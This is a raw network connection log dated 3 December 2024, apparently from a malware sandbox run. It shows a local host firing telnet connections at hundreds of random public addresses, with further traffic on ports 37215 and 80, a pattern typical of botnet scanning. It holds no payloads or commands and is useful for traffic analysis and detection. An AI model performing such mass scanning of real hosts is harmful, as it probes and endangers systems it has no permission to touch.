Dec 3, 2024 21:30:50.629724026 CET	37215	43280	197.158.250.72	192.168.2.23
Dec 3, 2024 21:30:50.629766941 CET	43280	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:50.629904985 CET	37215	36578	156.188.250.125	192.168.2.23
Dec 3, 2024 21:30:50.629960060 CET	36578	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:50.640073061 CET	80	49798	18.145.102.122	192.168.2.23
Dec 3, 2024 21:30:50.647572041 CET	23	59020	184.4.85.217	192.168.2.23
Dec 3, 2024 21:30:50.647587061 CET	23	59020	65.192.146.203	192.168.2.23
Dec 3, 2024 21:30:50.647603989 CET	23	59020	177.62.225.62	192.168.2.23
Dec 3, 2024 21:30:50.647613049 CET	23	59020	37.118.152.2	192.168.2.23
Dec 3, 2024 21:30:50.647639990 CET	59020	23	192.168.2.23	184.4.85.217
Dec 3, 2024 21:30:50.647644043 CET	59020	23	192.168.2.23	177.62.225.62
Dec 3, 2024 21:30:50.647649050 CET	59020	23	192.168.2.23	65.192.146.203
Dec 3, 2024 21:30:50.647649050 CET	59020	23	192.168.2.23	37.118.152.2
Dec 3, 2024 21:30:50.647649050 CET	23	59020	191.125.39.122	192.168.2.23
Dec 3, 2024 21:30:50.647691965 CET	59020	23	192.168.2.23	191.125.39.122
Dec 3, 2024 21:30:50.647787094 CET	23	59020	82.77.172.52	192.168.2.23
Dec 3, 2024 21:30:50.647798061 CET	23	59020	119.54.54.66	192.168.2.23
Dec 3, 2024 21:30:50.647806883 CET	23	59020	70.205.45.248	192.168.2.23
Dec 3, 2024 21:30:50.647815943 CET	23	59020	134.241.59.71	192.168.2.23
Dec 3, 2024 21:30:50.647829056 CET	59020	23	192.168.2.23	119.54.54.66
Dec 3, 2024 21:30:50.647830009 CET	59020	23	192.168.2.23	82.77.172.52
Dec 3, 2024 21:30:50.647829056 CET	59020	23	192.168.2.23	70.205.45.248
Dec 3, 2024 21:30:50.647854090 CET	59020	23	192.168.2.23	134.241.59.71
Dec 3, 2024 21:30:50.653368950 CET	37215	44440	156.219.74.61	192.168.2.23
Dec 3, 2024 21:30:50.653419018 CET	44440	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:50.661128998 CET	80	37672	94.147.154.72	192.168.2.23
Dec 3, 2024 21:30:50.661593914 CET	80	37680	94.147.154.72	192.168.2.23
Dec 3, 2024 21:30:50.661668062 CET	37680	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.661696911 CET	37680	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.661945105 CET	80	56822	51.137.140.164	192.168.2.23
Dec 3, 2024 21:30:50.662241936 CET	80	56830	51.137.140.164	192.168.2.23
Dec 3, 2024 21:30:50.662297010 CET	56830	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.662308931 CET	56830	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.662671089 CET	80	46770	175.121.86.4	192.168.2.23
Dec 3, 2024 21:30:50.703999996 CET	80	46770	175.121.86.4	192.168.2.23
Dec 3, 2024 21:30:50.707993031 CET	80	56822	51.137.140.164	192.168.2.23
Dec 3, 2024 21:30:50.708030939 CET	80	37672	94.147.154.72	192.168.2.23
Dec 3, 2024 21:30:50.708163023 CET	23	36906	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:50.708374977 CET	23	37310	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:50.708465099 CET	37310	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:50.717432976 CET	80	50288	18.145.102.122	192.168.2.23
Dec 3, 2024 21:30:50.717518091 CET	50288	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:50.739439011 CET	42836	443	192.168.2.23	91.189.91.43
Dec 3, 2024 21:30:50.782013893 CET	80	37680	94.147.154.72	192.168.2.23
Dec 3, 2024 21:30:50.782243013 CET	37680	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.782555103 CET	80	56830	51.137.140.164	192.168.2.23
Dec 3, 2024 21:30:50.782699108 CET	56830	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.788254023 CET	23	49028	117.22.254.102	192.168.2.23
Dec 3, 2024 21:30:50.788389921 CET	49028	23	192.168.2.23	117.22.254.102
Dec 3, 2024 21:30:50.788918018 CET	49422	23	192.168.2.23	117.22.254.102
Dec 3, 2024 21:30:50.789331913 CET	59020	23	192.168.2.23	175.164.222.34
Dec 3, 2024 21:30:50.789336920 CET	59020	23	192.168.2.23	25.181.207.85
Dec 3, 2024 21:30:50.789336920 CET	59020	23	192.168.2.23	193.128.55.232
Dec 3, 2024 21:30:50.789355993 CET	59020	23	192.168.2.23	160.103.57.54
Dec 3, 2024 21:30:50.789355993 CET	59020	23	192.168.2.23	207.243.167.128
Dec 3, 2024 21:30:50.789356947 CET	59020	23	192.168.2.23	163.101.119.169
Dec 3, 2024 21:30:50.789364100 CET	59020	23	192.168.2.23	137.45.117.208
Dec 3, 2024 21:30:50.789364100 CET	59020	23	192.168.2.23	217.230.60.49
Dec 3, 2024 21:30:50.789364100 CET	59020	23	192.168.2.23	191.48.113.20
Dec 3, 2024 21:30:50.789367914 CET	59020	23	192.168.2.23	37.38.75.7
Dec 3, 2024 21:30:50.789372921 CET	59020	23	192.168.2.23	107.118.208.171
Dec 3, 2024 21:30:50.789372921 CET	59020	23	192.168.2.23	39.246.230.105
Dec 3, 2024 21:30:50.789376020 CET	59020	23	192.168.2.23	211.86.250.44
Dec 3, 2024 21:30:50.789372921 CET	59020	23	192.168.2.23	95.172.137.27
Dec 3, 2024 21:30:50.789383888 CET	59020	23	192.168.2.23	90.184.132.234
Dec 3, 2024 21:30:50.789385080 CET	59020	23	192.168.2.23	64.62.34.248
Dec 3, 2024 21:30:50.789395094 CET	59020	23	192.168.2.23	165.51.212.81
Dec 3, 2024 21:30:50.789401054 CET	59020	23	192.168.2.23	204.201.8.59
Dec 3, 2024 21:30:50.789408922 CET	59020	23	192.168.2.23	131.192.220.29
Dec 3, 2024 21:30:50.789417982 CET	59020	23	192.168.2.23	119.243.86.155
Dec 3, 2024 21:30:50.789427996 CET	59020	23	192.168.2.23	70.241.169.3
Dec 3, 2024 21:30:50.789431095 CET	59020	23	192.168.2.23	129.245.173.161
Dec 3, 2024 21:30:50.789434910 CET	59020	23	192.168.2.23	189.212.49.224
Dec 3, 2024 21:30:50.789439917 CET	59020	23	192.168.2.23	213.13.238.192
Dec 3, 2024 21:30:50.789439917 CET	59020	23	192.168.2.23	92.89.153.66
Dec 3, 2024 21:30:50.789439917 CET	59020	23	192.168.2.23	126.245.93.113
Dec 3, 2024 21:30:50.789439917 CET	59020	23	192.168.2.23	172.135.82.86
Dec 3, 2024 21:30:50.789441109 CET	59020	23	192.168.2.23	132.255.131.249
Dec 3, 2024 21:30:50.789449930 CET	59020	23	192.168.2.23	59.152.46.69
Dec 3, 2024 21:30:50.789448977 CET	59020	23	192.168.2.23	146.18.91.200
Dec 3, 2024 21:30:50.789449930 CET	59020	23	192.168.2.23	132.107.14.206
Dec 3, 2024 21:30:50.789448977 CET	59020	23	192.168.2.23	208.214.103.175
Dec 3, 2024 21:30:50.789453030 CET	59020	23	192.168.2.23	13.52.46.58
Dec 3, 2024 21:30:50.789458036 CET	59020	23	192.168.2.23	80.115.164.26
Dec 3, 2024 21:30:50.789459944 CET	59020	23	192.168.2.23	152.76.38.48
Dec 3, 2024 21:30:50.789463997 CET	59020	23	192.168.2.23	217.157.165.161
Dec 3, 2024 21:30:50.789465904 CET	59020	23	192.168.2.23	154.207.43.61
Dec 3, 2024 21:30:50.789469957 CET	59020	23	192.168.2.23	61.212.20.26
Dec 3, 2024 21:30:50.789470911 CET	59020	23	192.168.2.23	102.255.163.227
Dec 3, 2024 21:30:50.789477110 CET	59020	23	192.168.2.23	112.85.62.141
Dec 3, 2024 21:30:50.789479971 CET	59020	23	192.168.2.23	18.240.242.20
Dec 3, 2024 21:30:50.789483070 CET	59020	23	192.168.2.23	153.20.220.76
Dec 3, 2024 21:30:50.789483070 CET	59020	23	192.168.2.23	209.14.13.233
Dec 3, 2024 21:30:50.789491892 CET	59020	23	192.168.2.23	37.159.197.136
Dec 3, 2024 21:30:50.789494038 CET	59020	23	192.168.2.23	138.94.11.223
Dec 3, 2024 21:30:50.789494991 CET	59020	23	192.168.2.23	106.181.211.235
Dec 3, 2024 21:30:50.789495945 CET	59020	23	192.168.2.23	216.4.54.207
Dec 3, 2024 21:30:50.789495945 CET	59020	23	192.168.2.23	5.173.95.232
Dec 3, 2024 21:30:50.789503098 CET	59020	23	192.168.2.23	223.43.230.26
Dec 3, 2024 21:30:50.789505005 CET	59020	23	192.168.2.23	32.195.163.7
Dec 3, 2024 21:30:50.789508104 CET	59020	23	192.168.2.23	117.16.108.221
Dec 3, 2024 21:30:50.789508104 CET	59020	23	192.168.2.23	49.63.244.237
Dec 3, 2024 21:30:50.789508104 CET	59020	23	192.168.2.23	198.44.223.7
Dec 3, 2024 21:30:50.789508104 CET	59020	23	192.168.2.23	116.228.23.214
Dec 3, 2024 21:30:50.789508104 CET	59020	23	192.168.2.23	202.253.210.203
Dec 3, 2024 21:30:50.789514065 CET	59020	23	192.168.2.23	80.158.38.78
Dec 3, 2024 21:30:50.789514065 CET	59020	23	192.168.2.23	104.153.66.117
Dec 3, 2024 21:30:50.789516926 CET	59020	23	192.168.2.23	52.77.101.90
Dec 3, 2024 21:30:50.789518118 CET	59020	23	192.168.2.23	157.114.237.86
Dec 3, 2024 21:30:50.789518118 CET	59020	23	192.168.2.23	113.105.16.60
Dec 3, 2024 21:30:50.789519072 CET	59020	23	192.168.2.23	95.153.167.2
Dec 3, 2024 21:30:50.789525032 CET	59020	23	192.168.2.23	164.65.75.24
Dec 3, 2024 21:30:50.789529085 CET	59020	23	192.168.2.23	154.115.66.225
Dec 3, 2024 21:30:50.789530039 CET	59020	23	192.168.2.23	88.182.150.146
Dec 3, 2024 21:30:50.789530993 CET	59020	23	192.168.2.23	80.199.251.0
Dec 3, 2024 21:30:50.789535046 CET	59020	23	192.168.2.23	147.160.114.99
Dec 3, 2024 21:30:50.789540052 CET	59020	23	192.168.2.23	40.23.182.172
Dec 3, 2024 21:30:50.789540052 CET	59020	23	192.168.2.23	85.96.62.145
Dec 3, 2024 21:30:50.789540052 CET	59020	23	192.168.2.23	160.110.91.54
Dec 3, 2024 21:30:50.789542913 CET	59020	23	192.168.2.23	69.194.216.108
Dec 3, 2024 21:30:50.789542913 CET	59020	23	192.168.2.23	17.53.208.88
Dec 3, 2024 21:30:50.789546013 CET	59020	23	192.168.2.23	32.163.204.45
Dec 3, 2024 21:30:50.789550066 CET	59020	23	192.168.2.23	59.67.167.190
Dec 3, 2024 21:30:50.789561033 CET	59020	23	192.168.2.23	177.140.188.2
Dec 3, 2024 21:30:50.789562941 CET	59020	23	192.168.2.23	176.19.166.103
Dec 3, 2024 21:30:50.789571047 CET	59020	23	192.168.2.23	129.63.103.125
Dec 3, 2024 21:30:50.789572001 CET	59020	23	192.168.2.23	181.12.45.16
Dec 3, 2024 21:30:50.789588928 CET	59020	23	192.168.2.23	78.64.208.128
Dec 3, 2024 21:30:50.789588928 CET	59020	23	192.168.2.23	67.19.236.152
Dec 3, 2024 21:30:50.789592028 CET	59020	23	192.168.2.23	221.31.234.38
Dec 3, 2024 21:30:50.789596081 CET	59020	23	192.168.2.23	87.119.1.91
Dec 3, 2024 21:30:50.789597034 CET	59020	23	192.168.2.23	223.234.200.208
Dec 3, 2024 21:30:50.789611101 CET	59020	23	192.168.2.23	8.2.60.146
Dec 3, 2024 21:30:50.789618969 CET	59020	23	192.168.2.23	107.206.208.26
Dec 3, 2024 21:30:50.789621115 CET	59020	23	192.168.2.23	193.158.220.124
Dec 3, 2024 21:30:50.789633036 CET	59020	23	192.168.2.23	92.203.138.80
Dec 3, 2024 21:30:50.789638996 CET	59020	23	192.168.2.23	134.175.206.171
Dec 3, 2024 21:30:50.789638996 CET	59020	23	192.168.2.23	37.206.13.59
Dec 3, 2024 21:30:50.789644957 CET	59020	23	192.168.2.23	137.73.60.245
Dec 3, 2024 21:30:50.789655924 CET	59020	23	192.168.2.23	182.10.12.74
Dec 3, 2024 21:30:50.789659977 CET	59020	23	192.168.2.23	19.183.57.200
Dec 3, 2024 21:30:50.789659977 CET	59020	23	192.168.2.23	131.97.25.203
Dec 3, 2024 21:30:50.789659977 CET	59020	23	192.168.2.23	195.169.210.206
Dec 3, 2024 21:30:50.789673090 CET	59020	23	192.168.2.23	70.225.238.123
Dec 3, 2024 21:30:50.789675951 CET	59020	23	192.168.2.23	27.38.249.208
Dec 3, 2024 21:30:50.789681911 CET	59020	23	192.168.2.23	75.129.82.240
Dec 3, 2024 21:30:50.789688110 CET	59020	23	192.168.2.23	184.61.23.146
Dec 3, 2024 21:30:50.789691925 CET	59020	23	192.168.2.23	141.150.158.71
Dec 3, 2024 21:30:50.789693117 CET	59020	23	192.168.2.23	171.170.226.223
Dec 3, 2024 21:30:50.789705038 CET	59020	23	192.168.2.23	211.235.40.215
Dec 3, 2024 21:30:50.789710999 CET	59020	23	192.168.2.23	198.31.45.212
Dec 3, 2024 21:30:50.789711952 CET	59020	23	192.168.2.23	58.221.237.17
Dec 3, 2024 21:30:50.789711952 CET	59020	23	192.168.2.23	205.191.96.45
Dec 3, 2024 21:30:50.789716959 CET	59020	23	192.168.2.23	133.144.28.77
Dec 3, 2024 21:30:50.789719105 CET	59020	23	192.168.2.23	27.139.24.152
Dec 3, 2024 21:30:50.789720058 CET	59020	23	192.168.2.23	78.148.194.177
Dec 3, 2024 21:30:50.789720058 CET	59020	23	192.168.2.23	186.7.41.230
Dec 3, 2024 21:30:50.789726019 CET	59020	23	192.168.2.23	1.88.32.154
Dec 3, 2024 21:30:50.789732933 CET	59020	23	192.168.2.23	218.239.127.186
Dec 3, 2024 21:30:50.789736032 CET	59020	23	192.168.2.23	182.216.131.6
Dec 3, 2024 21:30:50.789745092 CET	59020	23	192.168.2.23	155.3.78.126
Dec 3, 2024 21:30:50.789755106 CET	59020	23	192.168.2.23	106.188.119.35
Dec 3, 2024 21:30:50.789757967 CET	59020	23	192.168.2.23	161.32.155.71
Dec 3, 2024 21:30:50.789760113 CET	59020	23	192.168.2.23	104.112.212.218
Dec 3, 2024 21:30:50.789767981 CET	59020	23	192.168.2.23	103.92.18.18
Dec 3, 2024 21:30:50.789767981 CET	59020	23	192.168.2.23	164.8.231.137
Dec 3, 2024 21:30:50.789773941 CET	59020	23	192.168.2.23	213.84.26.185
Dec 3, 2024 21:30:50.789786100 CET	59020	23	192.168.2.23	24.151.239.130
Dec 3, 2024 21:30:50.789786100 CET	59020	23	192.168.2.23	160.51.141.175
Dec 3, 2024 21:30:50.789794922 CET	59020	23	192.168.2.23	170.227.90.163
Dec 3, 2024 21:30:50.789799929 CET	59020	23	192.168.2.23	162.187.153.114
Dec 3, 2024 21:30:50.789808989 CET	59020	23	192.168.2.23	158.214.217.196
Dec 3, 2024 21:30:50.789819002 CET	59020	23	192.168.2.23	192.252.90.170
Dec 3, 2024 21:30:50.789819956 CET	59020	23	192.168.2.23	94.124.181.9
Dec 3, 2024 21:30:50.789819956 CET	59020	23	192.168.2.23	154.132.180.143
Dec 3, 2024 21:30:50.789820910 CET	59020	23	192.168.2.23	123.232.127.82
Dec 3, 2024 21:30:50.789820910 CET	59020	23	192.168.2.23	130.75.155.131
Dec 3, 2024 21:30:50.789834976 CET	59020	23	192.168.2.23	169.1.83.108
Dec 3, 2024 21:30:50.789838076 CET	59020	23	192.168.2.23	99.221.26.27
Dec 3, 2024 21:30:50.789838076 CET	59020	23	192.168.2.23	52.83.53.238
Dec 3, 2024 21:30:50.789844990 CET	59020	23	192.168.2.23	116.185.162.67
Dec 3, 2024 21:30:50.789850950 CET	59020	23	192.168.2.23	67.38.9.231
Dec 3, 2024 21:30:50.789854050 CET	59020	23	192.168.2.23	200.137.20.99
Dec 3, 2024 21:30:50.789864063 CET	59020	23	192.168.2.23	106.136.214.102
Dec 3, 2024 21:30:50.789865017 CET	59020	23	192.168.2.23	119.188.13.96
Dec 3, 2024 21:30:50.789879084 CET	59020	23	192.168.2.23	39.209.239.166
Dec 3, 2024 21:30:50.789880991 CET	59020	23	192.168.2.23	135.229.12.64
Dec 3, 2024 21:30:50.789881945 CET	59020	23	192.168.2.23	172.136.5.82
Dec 3, 2024 21:30:50.789881945 CET	59020	23	192.168.2.23	168.60.61.163
Dec 3, 2024 21:30:50.789889097 CET	59020	23	192.168.2.23	45.104.8.209
Dec 3, 2024 21:30:50.789900064 CET	59020	23	192.168.2.23	108.50.137.69
Dec 3, 2024 21:30:50.789901972 CET	59020	23	192.168.2.23	87.100.228.86
Dec 3, 2024 21:30:50.789906025 CET	59020	23	192.168.2.23	167.144.79.35
Dec 3, 2024 21:30:50.789906025 CET	59020	23	192.168.2.23	43.154.128.172
Dec 3, 2024 21:30:50.789911032 CET	59020	23	192.168.2.23	84.90.255.31
Dec 3, 2024 21:30:50.789912939 CET	59020	23	192.168.2.23	165.109.116.182
Dec 3, 2024 21:30:50.789912939 CET	59020	23	192.168.2.23	118.132.152.15
Dec 3, 2024 21:30:50.789921999 CET	59020	23	192.168.2.23	60.162.132.107
Dec 3, 2024 21:30:50.789947987 CET	59020	23	192.168.2.23	72.177.123.254
Dec 3, 2024 21:30:50.789947987 CET	59020	23	192.168.2.23	159.21.179.11
Dec 3, 2024 21:30:50.789948940 CET	59020	23	192.168.2.23	59.218.184.200
Dec 3, 2024 21:30:50.789951086 CET	59020	23	192.168.2.23	134.254.207.67
Dec 3, 2024 21:30:50.789951086 CET	59020	23	192.168.2.23	61.112.96.117
Dec 3, 2024 21:30:50.789963961 CET	59020	23	192.168.2.23	41.142.57.130
Dec 3, 2024 21:30:50.789963961 CET	59020	23	192.168.2.23	74.168.5.194
Dec 3, 2024 21:30:50.789964914 CET	59020	23	192.168.2.23	187.10.100.198
Dec 3, 2024 21:30:50.789964914 CET	59020	23	192.168.2.23	144.40.136.191
Dec 3, 2024 21:30:50.789967060 CET	59020	23	192.168.2.23	36.22.227.75
Dec 3, 2024 21:30:50.789967060 CET	59020	23	192.168.2.23	66.198.6.230
Dec 3, 2024 21:30:50.789967060 CET	59020	23	192.168.2.23	87.151.234.66
Dec 3, 2024 21:30:50.789968014 CET	59020	23	192.168.2.23	188.98.233.63
Dec 3, 2024 21:30:50.789968014 CET	59020	23	192.168.2.23	121.151.106.207
Dec 3, 2024 21:30:50.789983988 CET	59020	23	192.168.2.23	138.66.142.120
Dec 3, 2024 21:30:50.789983988 CET	59020	23	192.168.2.23	108.151.174.183
Dec 3, 2024 21:30:50.789985895 CET	59020	23	192.168.2.23	189.143.203.219
Dec 3, 2024 21:30:50.789985895 CET	59020	23	192.168.2.23	138.49.244.181
Dec 3, 2024 21:30:50.789985895 CET	59020	23	192.168.2.23	63.184.222.129
Dec 3, 2024 21:30:50.789985895 CET	59020	23	192.168.2.23	98.176.87.171
Dec 3, 2024 21:30:50.789987087 CET	59020	23	192.168.2.23	23.63.217.106
Dec 3, 2024 21:30:50.789985895 CET	59020	23	192.168.2.23	84.253.222.204
Dec 3, 2024 21:30:50.789987087 CET	59020	23	192.168.2.23	64.95.236.145
Dec 3, 2024 21:30:50.789987087 CET	59020	23	192.168.2.23	44.78.40.141
Dec 3, 2024 21:30:50.789987087 CET	59020	23	192.168.2.23	105.241.196.122
Dec 3, 2024 21:30:50.789987087 CET	59020	23	192.168.2.23	9.110.222.79
Dec 3, 2024 21:30:50.789985895 CET	59020	23	192.168.2.23	72.88.105.174
Dec 3, 2024 21:30:50.789999962 CET	59020	23	192.168.2.23	125.43.143.17
Dec 3, 2024 21:30:50.790002108 CET	59020	23	192.168.2.23	121.195.145.168
Dec 3, 2024 21:30:50.790004015 CET	59020	23	192.168.2.23	76.189.14.73
Dec 3, 2024 21:30:50.790004015 CET	59020	23	192.168.2.23	136.80.194.182
Dec 3, 2024 21:30:50.790004969 CET	59020	23	192.168.2.23	93.248.60.158
Dec 3, 2024 21:30:50.790005922 CET	59020	23	192.168.2.23	138.82.45.50
Dec 3, 2024 21:30:50.790007114 CET	59020	23	192.168.2.23	126.139.77.106
Dec 3, 2024 21:30:50.790004015 CET	59020	23	192.168.2.23	183.162.46.96
Dec 3, 2024 21:30:50.790007114 CET	59020	23	192.168.2.23	141.160.225.120
Dec 3, 2024 21:30:50.790007114 CET	59020	23	192.168.2.23	45.208.49.161
Dec 3, 2024 21:30:50.790007114 CET	59020	23	192.168.2.23	126.242.63.197
Dec 3, 2024 21:30:50.790009975 CET	59020	23	192.168.2.23	194.253.80.224
Dec 3, 2024 21:30:50.790009975 CET	59020	23	192.168.2.23	162.6.55.227
Dec 3, 2024 21:30:50.790009975 CET	59020	23	192.168.2.23	221.85.164.218
Dec 3, 2024 21:30:50.790009975 CET	59020	23	192.168.2.23	119.56.83.132
Dec 3, 2024 21:30:50.790015936 CET	59020	23	192.168.2.23	207.195.28.20
Dec 3, 2024 21:30:50.790015936 CET	59020	23	192.168.2.23	47.204.155.233
Dec 3, 2024 21:30:50.790019035 CET	59020	23	192.168.2.23	162.158.63.92
Dec 3, 2024 21:30:50.790019035 CET	59020	23	192.168.2.23	207.179.16.230
Dec 3, 2024 21:30:50.790024042 CET	59020	23	192.168.2.23	136.48.12.82
Dec 3, 2024 21:30:50.790036917 CET	59020	23	192.168.2.23	184.134.25.104
Dec 3, 2024 21:30:50.790038109 CET	59020	23	192.168.2.23	66.208.77.51
Dec 3, 2024 21:30:50.790038109 CET	59020	23	192.168.2.23	38.45.70.210
Dec 3, 2024 21:30:50.790038109 CET	59020	23	192.168.2.23	75.87.53.122
Dec 3, 2024 21:30:50.790039062 CET	59020	23	192.168.2.23	57.117.169.141
Dec 3, 2024 21:30:50.790039062 CET	59020	23	192.168.2.23	91.213.195.226
Dec 3, 2024 21:30:50.790039062 CET	59020	23	192.168.2.23	145.248.22.190
Dec 3, 2024 21:30:50.790050983 CET	59020	23	192.168.2.23	32.35.125.185
Dec 3, 2024 21:30:50.790050983 CET	59020	23	192.168.2.23	120.13.1.62
Dec 3, 2024 21:30:50.790050983 CET	59020	23	192.168.2.23	81.38.145.20
Dec 3, 2024 21:30:50.790051937 CET	59020	23	192.168.2.23	170.53.196.99
Dec 3, 2024 21:30:50.790051937 CET	59020	23	192.168.2.23	38.22.188.98
Dec 3, 2024 21:30:50.790052891 CET	59020	23	192.168.2.23	74.105.31.85
Dec 3, 2024 21:30:50.790054083 CET	59020	23	192.168.2.23	147.128.8.84
Dec 3, 2024 21:30:50.790052891 CET	59020	23	192.168.2.23	113.86.130.74
Dec 3, 2024 21:30:50.790054083 CET	59020	23	192.168.2.23	126.7.82.132
Dec 3, 2024 21:30:50.790054083 CET	59020	23	192.168.2.23	32.54.166.148
Dec 3, 2024 21:30:50.790054083 CET	59020	23	192.168.2.23	140.221.213.62
Dec 3, 2024 21:30:50.790054083 CET	59020	23	192.168.2.23	190.189.75.48
Dec 3, 2024 21:30:50.790056944 CET	59020	23	192.168.2.23	160.5.161.73
Dec 3, 2024 21:30:50.790056944 CET	59020	23	192.168.2.23	191.147.98.38
Dec 3, 2024 21:30:50.790065050 CET	59020	23	192.168.2.23	199.202.22.30
Dec 3, 2024 21:30:50.790066957 CET	59020	23	192.168.2.23	197.56.136.144
Dec 3, 2024 21:30:50.790066957 CET	59020	23	192.168.2.23	67.76.46.158
Dec 3, 2024 21:30:50.790066957 CET	59020	23	192.168.2.23	205.232.38.28
Dec 3, 2024 21:30:50.790066957 CET	59020	23	192.168.2.23	89.220.170.86
Dec 3, 2024 21:30:50.790071964 CET	59020	23	192.168.2.23	42.239.99.253
Dec 3, 2024 21:30:50.790071964 CET	59020	23	192.168.2.23	184.208.199.184
Dec 3, 2024 21:30:50.790072918 CET	59020	23	192.168.2.23	59.236.212.144
Dec 3, 2024 21:30:50.790072918 CET	59020	23	192.168.2.23	104.80.103.220
Dec 3, 2024 21:30:50.790072918 CET	59020	23	192.168.2.23	160.246.111.73
Dec 3, 2024 21:30:50.790072918 CET	59020	23	192.168.2.23	203.189.197.184
Dec 3, 2024 21:30:50.790076971 CET	59020	23	192.168.2.23	60.77.73.106
Dec 3, 2024 21:30:50.790076971 CET	59020	23	192.168.2.23	79.138.85.106
Dec 3, 2024 21:30:50.790083885 CET	59020	23	192.168.2.23	202.175.239.17
Dec 3, 2024 21:30:50.790085077 CET	59020	23	192.168.2.23	44.163.69.125
Dec 3, 2024 21:30:50.790088892 CET	59020	23	192.168.2.23	79.160.115.87
Dec 3, 2024 21:30:50.790090084 CET	59020	23	192.168.2.23	41.158.173.94
Dec 3, 2024 21:30:50.790088892 CET	59020	23	192.168.2.23	40.57.217.209
Dec 3, 2024 21:30:50.790090084 CET	59020	23	192.168.2.23	154.175.87.197
Dec 3, 2024 21:30:50.790088892 CET	59020	23	192.168.2.23	156.151.109.81
Dec 3, 2024 21:30:50.790090084 CET	59020	23	192.168.2.23	221.243.174.66
Dec 3, 2024 21:30:50.790091991 CET	59020	23	192.168.2.23	137.32.1.158
Dec 3, 2024 21:30:50.790091991 CET	59020	23	192.168.2.23	184.254.65.85
Dec 3, 2024 21:30:50.790096998 CET	59020	23	192.168.2.23	158.61.8.129
Dec 3, 2024 21:30:50.790102005 CET	59020	23	192.168.2.23	168.48.86.179
Dec 3, 2024 21:30:50.790102005 CET	59020	23	192.168.2.23	218.10.20.246
Dec 3, 2024 21:30:50.790102005 CET	59020	23	192.168.2.23	80.162.237.224
Dec 3, 2024 21:30:50.790105104 CET	59020	23	192.168.2.23	165.116.117.175
Dec 3, 2024 21:30:50.790112972 CET	59020	23	192.168.2.23	202.11.25.217
Dec 3, 2024 21:30:50.790112972 CET	59020	23	192.168.2.23	155.227.72.45
Dec 3, 2024 21:30:50.790116072 CET	59020	23	192.168.2.23	62.229.218.86
Dec 3, 2024 21:30:50.790121078 CET	59020	23	192.168.2.23	151.77.185.183
Dec 3, 2024 21:30:50.790122986 CET	59020	23	192.168.2.23	213.66.144.15
Dec 3, 2024 21:30:50.790122986 CET	59020	23	192.168.2.23	201.221.130.3
Dec 3, 2024 21:30:50.790122986 CET	59020	23	192.168.2.23	100.151.122.26
Dec 3, 2024 21:30:50.790122986 CET	59020	23	192.168.2.23	60.249.252.180
Dec 3, 2024 21:30:50.790127039 CET	59020	23	192.168.2.23	144.232.197.204
Dec 3, 2024 21:30:50.790127039 CET	59020	23	192.168.2.23	128.106.113.64
Dec 3, 2024 21:30:50.790127993 CET	59020	23	192.168.2.23	106.70.126.1
Dec 3, 2024 21:30:50.790133953 CET	59020	23	192.168.2.23	188.80.32.61
Dec 3, 2024 21:30:50.790133953 CET	59020	23	192.168.2.23	217.148.194.132
Dec 3, 2024 21:30:50.790138960 CET	59020	23	192.168.2.23	207.191.201.230
Dec 3, 2024 21:30:50.790148020 CET	59020	23	192.168.2.23	173.114.218.231
Dec 3, 2024 21:30:50.790153027 CET	59020	23	192.168.2.23	38.175.222.8
Dec 3, 2024 21:30:50.790158987 CET	59020	23	192.168.2.23	209.222.168.57
Dec 3, 2024 21:30:50.790158987 CET	59020	23	192.168.2.23	96.147.91.117
Dec 3, 2024 21:30:50.790165901 CET	59020	23	192.168.2.23	115.102.110.155
Dec 3, 2024 21:30:50.790172100 CET	59020	23	192.168.2.23	129.128.85.183
Dec 3, 2024 21:30:50.790172100 CET	59020	23	192.168.2.23	218.175.226.56
Dec 3, 2024 21:30:50.790183067 CET	59020	23	192.168.2.23	134.87.164.189
Dec 3, 2024 21:30:50.790195942 CET	59020	23	192.168.2.23	138.244.155.43
Dec 3, 2024 21:30:50.790196896 CET	59020	23	192.168.2.23	1.219.157.179
Dec 3, 2024 21:30:50.790198088 CET	59020	23	192.168.2.23	207.114.191.226
Dec 3, 2024 21:30:50.790201902 CET	59020	23	192.168.2.23	76.204.155.239
Dec 3, 2024 21:30:50.790213108 CET	59020	23	192.168.2.23	18.150.122.239
Dec 3, 2024 21:30:50.790215015 CET	59020	23	192.168.2.23	196.235.153.200
Dec 3, 2024 21:30:50.790215969 CET	59020	23	192.168.2.23	191.205.168.187
Dec 3, 2024 21:30:50.790221930 CET	59020	23	192.168.2.23	92.18.251.125
Dec 3, 2024 21:30:50.790222883 CET	59020	23	192.168.2.23	92.153.137.81
Dec 3, 2024 21:30:50.790225029 CET	59020	23	192.168.2.23	193.17.107.144
Dec 3, 2024 21:30:50.790225029 CET	59020	23	192.168.2.23	185.133.206.184
Dec 3, 2024 21:30:50.790225983 CET	59020	23	192.168.2.23	202.154.72.71
Dec 3, 2024 21:30:50.790225983 CET	59020	23	192.168.2.23	164.5.140.151
Dec 3, 2024 21:30:50.790231943 CET	59020	23	192.168.2.23	122.26.89.251
Dec 3, 2024 21:30:50.790236950 CET	59020	23	192.168.2.23	183.51.123.118
Dec 3, 2024 21:30:50.790239096 CET	59020	23	192.168.2.23	217.82.121.131
Dec 3, 2024 21:30:50.790244102 CET	59020	23	192.168.2.23	40.211.31.72
Dec 3, 2024 21:30:50.790255070 CET	59020	23	192.168.2.23	44.74.54.87
Dec 3, 2024 21:30:50.790255070 CET	59020	23	192.168.2.23	5.139.65.45
Dec 3, 2024 21:30:50.790267944 CET	59020	23	192.168.2.23	25.178.117.222
Dec 3, 2024 21:30:50.790267944 CET	59020	23	192.168.2.23	139.25.234.44
Dec 3, 2024 21:30:50.790272951 CET	59020	23	192.168.2.23	112.209.234.123
Dec 3, 2024 21:30:50.790272951 CET	59020	23	192.168.2.23	184.233.241.144
Dec 3, 2024 21:30:50.790277958 CET	59020	23	192.168.2.23	119.111.83.87
